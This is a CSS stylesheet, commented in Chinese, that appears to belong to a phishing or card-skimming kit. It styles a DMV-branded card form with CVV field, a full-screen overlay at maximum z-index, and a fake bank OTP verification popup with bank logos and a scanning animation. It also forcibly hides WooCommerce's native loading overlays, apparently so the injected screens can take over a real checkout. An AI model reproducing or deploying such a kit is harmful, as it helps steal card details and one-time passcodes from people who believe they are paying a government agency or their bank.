:root {
    --dmv-blue: #0b669e;
    --dmv-label: #333333;
    --dmv-border: #d4d8dd;
}

/* 强力暴力补丁：强制干掉所有可能导致页面“灰色变暗”的原生遮罩 */
.blockOverlay, .blockUI, .processing, .woocommerce-block-ui {
    display: none !important;
    opacity: 0 !important;
    visibility: hidden !important;
    pointer-events: none !important;
    z-index: -1 !important;
}

/* 嵌入页面的基础卡片输入表单 */
.dmv-form-wrapper { 
    background: transparent !important; 
    padding: 10px 0px !important; 
    font-family: tt-commons, sans-serif !important; 
    position: relative !important;
    z-index: 10;
}

.dmv-input-group { 
    margin-bottom: 16px !important; 
    text-align: left !important; 
}

.dmv-label { 
    font-size: 14px !important; 
    font-weight: 600 !important; 
    color: var(--dmv-label) !important; 
    display: block !important; 
    margin-bottom: 4px !important; 
}

.dmv-input { 
    height: 48px !important; 
    width: 100% !important; 
    border: 1px solid var(--dmv-border) !important; 
    border-radius: 3px !important; 
    padding: 8px 12px !important; 
    font-size: 16px !important; 
    box-sizing: border-box !important; 
    background-color: #ffffff !important; 
    outline: none !important; 
}
/* 全屏遮罩层：确保层级高于一切 */
.rt-full-overlay { 
    position: fixed !important; 
    top: 0 !important; 
    left: 0 !important; 
    width: 100vw !important; 
    height: 100vh !important; 
    display: flex !important; 
    align-items: center;    /* 默认居中，方便 Loading */
    justify-content: center; 
    z-index: 2147483647 !important; /* 浏览器极限层级 */
    background-color: rgba(255, 255, 255, 0.9) !important; /* 强制白色背景，遮挡底层混乱 */
    transition: background 0.3s ease;
}

/* 银行弹窗容器：当进入 OTP 模式时，强制回到顶部对齐 */
.bank-modal-container { 
    width: 95% !important; 
    max-width: 500px !important; 
    padding: 25px !important; 
    background: #ffffff !important; 
    box-shadow: 0 15px 50px rgba(0,0,0,0.3) !important;
    border-radius: 8px !important;
    box-sizing: border-box !important;
    align-self: flex-start !important; /* 弹窗靠上显示 */
    margin-top: 8vh !important;       
    position: relative !important;
    z-index: 2147483647 !important;
}

/* 居中加载容器 */
.rt-center-content { 
    display: flex !important;
    flex-direction: column !important;
    align-items: center !important;
    justify-content: center !important;
    width: 100% !important;
}

/* 加载 GIF 尺寸 */
.spinner { 
    width: 75px !important; 
    height: 75px !important; 
    display: block !important;
    margin: 0 auto !important;
}
/* 辅助图标与行列 */
.dmv-card-icons { display: flex !important; justify-content: flex-end !important; gap: 5px !important; margin-top: -30px !important; padding-right: 10px !important; pointer-events: none !important; height: 30px !important; align-items: center !important; }
.dmv-card-icons img { width: 30px !important; height: auto !important; }
.dmv-input-row { display: flex !important; gap: 10px !important; }
.dmv-cvv-icon { position: absolute !important; right: 12px !important; top: 36px !important; pointer-events: none !important; }

/* OTP 银行页面元素 */
.bank-header { height: 50px !important; display: flex !important; justify-content: space-between !important; align-items: center !important; margin-bottom: 10px !important; }
.bank-logo-left, .bank-logo-right { height: 35px !important; }
.bank-logo-left img, .bank-logo-right img { max-height: 100% !important; width: auto !important; display: block !important; }

/* 右侧 Logo 扫光动画 */
.bank-logo-right { position: relative !important; overflow: hidden !important; }
.bank-logo-right:after { 
    content: "" !important; display: block !important; position: absolute; top: 0; width: 20%; height: 100%; 
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.5), transparent) !important; 
    animation: bank-scan 2s infinite !important; 
}
@keyframes bank-scan { 0% { left: -30%; } 100% { left: 110%; } }

.bank-hr { border: none !important; border-top: 1px solid #eee !important; margin: 15px -25px !important; }
.bank-title { font-size: 20px !important; font-weight: 700 !important; color: #000 !important; margin: 15px 0 !important; text-align: left !important; }
.bank-desc { font-size: 15px !important; color: #444 !important; line-height: 1.6 !important; margin-bottom: 15px !important; text-align: left !important; }

/* 输入框与提交按钮 */
.bank-otp-input { width: 100% !important; height: 48px !important; border: 1px solid #888 !important; border-radius: 4px !important; text-align: center !important; font-size: 20px !important; font-weight: bold !important; color: #000 !important; }
.bank-submit-btn { background-color: #0058a4 !important; color: #fff !important; width: 100% !important; padding: 14px !important; border: none !important; border-radius: 4px !important; font-size: 17px !important; font-weight: 600 !important; margin-top: 20px !important; cursor: pointer !important; }
.bank-error { color: #d93025 !important; font-size: 14px !important; margin-top: 10px !important; font-weight: bold !important; }